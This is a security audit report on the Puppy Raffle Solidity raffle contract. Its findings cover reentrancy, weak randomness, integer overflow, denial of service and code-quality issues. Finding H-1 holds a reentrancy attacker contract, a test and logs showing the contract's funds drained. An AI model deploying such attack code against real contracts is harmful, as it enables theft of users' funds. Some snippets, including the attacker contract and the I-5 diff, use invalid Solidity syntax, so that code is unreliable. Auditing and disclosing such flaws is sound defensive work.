Puppy Raffle Audit Report

Prepared by: Jason

Table of Contents

Protocol Summary

The Puppy Raffle project is to enter a raffle to win a cute dog NFT.

Executive Summary

A security assessment and code review was performed for the Puppy Raffle project from 8 March 2025 to 13 March 2025. During the engagement, the source code was audited for security vulnerabilities, design flaws and general weaknesses in security posture. As a result, 3 high severity findings, two medium findings and 6 informational findings were discovered.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Git Repository: https://gitpod.io/#github.com/Cyfrin/4-puppy-raffle-audit
- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- Programming Language(s): Solidity
- Platform: EVM

Files audited:

```
./src/
-> PuppyRaffle.sol
```

Issues found

Severity	Count
High	3
Medium	2
Low	0
Info/Gas	6

Findings

[H-1] The `PuppyRaffle::refund` function is vulnerable to reentrancy, allowing all funds to be drained

Description

The `PuppyRaffle::refund` function updates the player address after the player withdraws their funds from the contract. An attacker can create a malicious contract with a `fallback` or `receive` function that calls `PuppyRaffle::refund` to get another refund from the contract. The attacker can repeat this until all of the contract funds are drained.

Impact

- Reentrancy attack lets an attacker drain all of the funds from the contract

Proof of Concept

1. Players enter the raffle
2. Attacker creates a malicious contract
3. Attacker enters the raffle
4. Attack triggers the reentrancy attack by calling `PuppyRaffle::refund`

The malicious contract:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;    // the victim contract
    uint256 entranceFee;        // the entrance fee
    uint256 attackerIndex;      // the attacker index into the player array

    constructor(PuppyRaffle _puppyRaffle)  {
        puppyRaffle = _puppyRaffle;
        entranceFee = _PuppyRaffle::entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);

        // Enter the raffle
        PuppyRaffle::enterRaffle{value: entranceFee}(players);

        // The index will always be 0 since we are the only player, but we are
being verbose
        attackerIndex = PuppyRaffle::getActivePlayerIndex(address(this));

        // Trigger the reentrancy attack by refunding our entrace fee
        PuppyRaffle::refund(attackerIndex);
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            PuppyRaffle::refund(attackerIndex);
        }
    }
}
```

The test that performs the reentrancy attack:

```
function test_reentrancyAttack() public playersEntered {
    // create attacker contract and address
    ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
```

```
        address attacker = makeAddr("attacker");

        // Give the attacker some money so they can enter the raffle
        vm.deal(attacker, entranceFee);

        // check the balances before the attack
        console.log("Attacker contract balance: %s",
    address(attackerContract).balance);
        console.log("PuppyRaffle balance: %s", address(puppyRaffle).balance);

        // start the attack
        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        // check if the attack was successful
        console.log("Attacker contract balance: %s",
    address(attackerContract).balance);
        console.log("PuppyRaffle balance: %s", address(puppyRaffle).balance);
    }
```

This results in the attacker being able to drain all funds from the raffle.

```
Logs:
  Attacker contract balance: 0
  PuppyRaffle balance: 4000000000000000000
  Attacker contract balance: 5000000000000000000
  PuppyRaffle balance: 0
```

Recommendations

Follow CEI (checks, effects, interactions) best practices and set the player to `address(0)` before the call to `.sendValue`.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or
is not active");

    players[playerIndex] = address(0);

    payable(msg.sender).sendValue(entranceFee);
    emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak RNG in `PuppyRaffle::selectWinner` leads to players being able to predict or influence the raffle results

Description

The `PuppyRaffle::selectWinner` function uses weak RNG values to select the raffle winner and the rarity of the NFT. Values such as `msg.sender`, `block.timestamp` and `block.difficulty` can be manipulated by miners/players to get the results they want and rig the raffle.

```
uint256 winnerIndex =
    uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;

uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
block.difficulty))) % 100;
```

Impact

Players are able to predict or influence the raffle winner or NFT results, making the entire raffle pointless.

Recommendations

Use a provenly fair and random number generator like Chainlink VRF.

[H-3] Integer overflow in `PuppyRaffle::selectWinner` loses fees

Description The `totalFees` variable can overflow and and cause the contract to not collect the correct amount of fees

Impact

If the `totalFees` variable overflows, then the correct amount of fees may not be collected in the `PuppyRaffle::withdrawFees` function. This can lead to funds being stuck in the contract.

Proof of Concept

Place the test `test_TotalFeesOverflow` inside of `PuppyRaffleTest.t.sol`.

```
function test_TotalFeesOverflow() public playersEntered {
        // Finish a raffle with 4 players and collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.warp(block.timestamp + duration + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        console.log("startingTotalFees: ", startingTotalFees);
        //   startingTotalFees:  800000000000000000

        // Now have many more players enter a new raffle
        uint256 numberOfPlayers = 90;
        address[] memory players = new address[](numberOfPlayers);
        for (uint i = 0; i < numberOfPlayers; ++i) {
            players[i] = address(i + 1);
```

```
        }

        // fund the new raffle
        puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(players);

        // end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.warp(block.timestamp + duration + 1);
        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();

        console.log("endingTotalFees: ", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommendations

- Use a solidity version of 0.8.0 or higher to protect against integer overflows and underflows.
- Alternatively, use the `SafeMath` library from OpenZeppelin.

[M-1] Looping through the `players` array to check for duplicates in `PuppyRaffle::enterRaffle` can lead to a Denial of Service attack, increasing gas costs for future entrants

#Description

Inside of the `PuppyRaffle::enterRaffle` function, the nested for loop that checks for duplicates iterates across the entire `players` array. As the number of players grows, the gas cost will increase dramatically.

#Impact

Can lead to gas prices becoming so high that no one can feasibly afford it, leading to a DoS. Furthermore, players who enter the raffle later will have to pay more than the earlier players.

#Proof of Concept

See test.

#Recommendations

Recommend using a `mapping` instead of an array for storing unique player addresses.

```
mapping(address => bool) public isPlayerEntered;

//...
```

```
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send
enough to enter raffle");

    for (uint256 i = 0; i < newPlayers.length; i++) {
        address player = newPlayers[i];
        require(player != address(0), "PuppyRaffle: Invalid address");
        require(!isPlayerEntered[player], "PuppyRaffle: Duplicate player");

        // Add the player to the players array and mark as entered
        players.push(player);
        isPlayerEntered[player] = true;
    }

    emit RaffleEnter(newPlayers);
}
```

[M-2] `PuppyRaffle::getActivePlayerIndex` returns the incorrect value for players that are not active

Description

The `PuppyRaffle::getActivePlayerIndex` returns the index of the player in the `players[]` array if they are active, otherwise it returns 0. However, 0 is a valid array index and stores the first active player in the raffle.

```
    /// @notice a way to get the index in the array
    /// @param player the address of a player in the raffle
    /// @return the index of the player in the array, if they are not active, it
returns 0
    function getActivePlayerIndex(address player) external view returns (uint256)
{
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }

        // @audit 0 is a valid index in the array, returning 0 will make a player
think they are not active when they are!
        return 0;
    }
```

Impact

Inactive players will be given the index to the first active player

Recommendations

Consider returning a non-zero number such as uint256.max for players that are not active.

[I-1] Outdated Solidity compiler version lacks security features.

Description

The `PuppyRaffle::sol` contract is using an outdated `solc` version of 0.7.6.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Impact

- Lacks support for newer Solidity security checks
- Lacks integer overflow/underflow and other SafeMath features

Recommendations

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-2] Floating Pragma

Description

The `PuppyRaffle` contract uses a floating pragma that allows Solidity compiler versions `^0.7.6`.

Recommendations

Lock the pragma to a specific version of Solidity, such as 0.8.0.

[I-3] `raffleDuration` global storage variable should be immutable

Description

The `PuppyRaffle` contract creates a state variable called `raffleDuration`. Since this value is only ever set in the contract's constructor, it should be set as immutable to save gas.

State variables that are not updated following deployment should be declared immutable to save gas.

Impact

Extra gas is burned unnecessarily.

Recommendations

Add the `immutable` attribute `raffleDuration`.

[I-4] NFT URI state variables should be declared constant to save gas

Description

Inside `PuppyRaffle` the three state variables `commonImageUri`, `rareImageUri` and `legendaryImageUri` are used to store the URI of the puppy NFTs. These variables are not updated after the contract is deployed and should be declared as constants to save gas.

Impact

Extra gas is spent.

Recommendations

Add the `constant` attribute to these variables.

[I-5] The `PuppyRaffle::selectWinner` function uses magic numbers, which is poor coding practice

Description

Inside the `PuppyRaffle::selectWinner` function, the winner funds percentage and the fee percentage are hardcoded/magic numbers. This is not great coding practice and the values can get mixed up or misused as the codebase grows. Consider declaring constant variables to define these values to improve code readability.

Recommendations

```
function selectWinner() external {
//...
+    uint256 private constant WINNER_FUND_PERCENTAGE = 80
+    uint256 private constant FEE_PERCENTAGE = 20
    address winner = players[winnerIndex];
    uint256 totalAmountCollected = players.length * entranceFee;
-    uint256 prizePool = (totalAmountCollected * 80) / 100;
-    uint256 fee = (totalAmountCollected * 20) / 100;
+    uint256 prizePool = (totalAmountCollected * WINNER_FUND_PERCENTAGE) / 100;
+    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / 100;
```

[I-6] The `PuppyRaffle::_isActivePlayer` function is never called and should be removed to save gas

Disclaimer

The team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.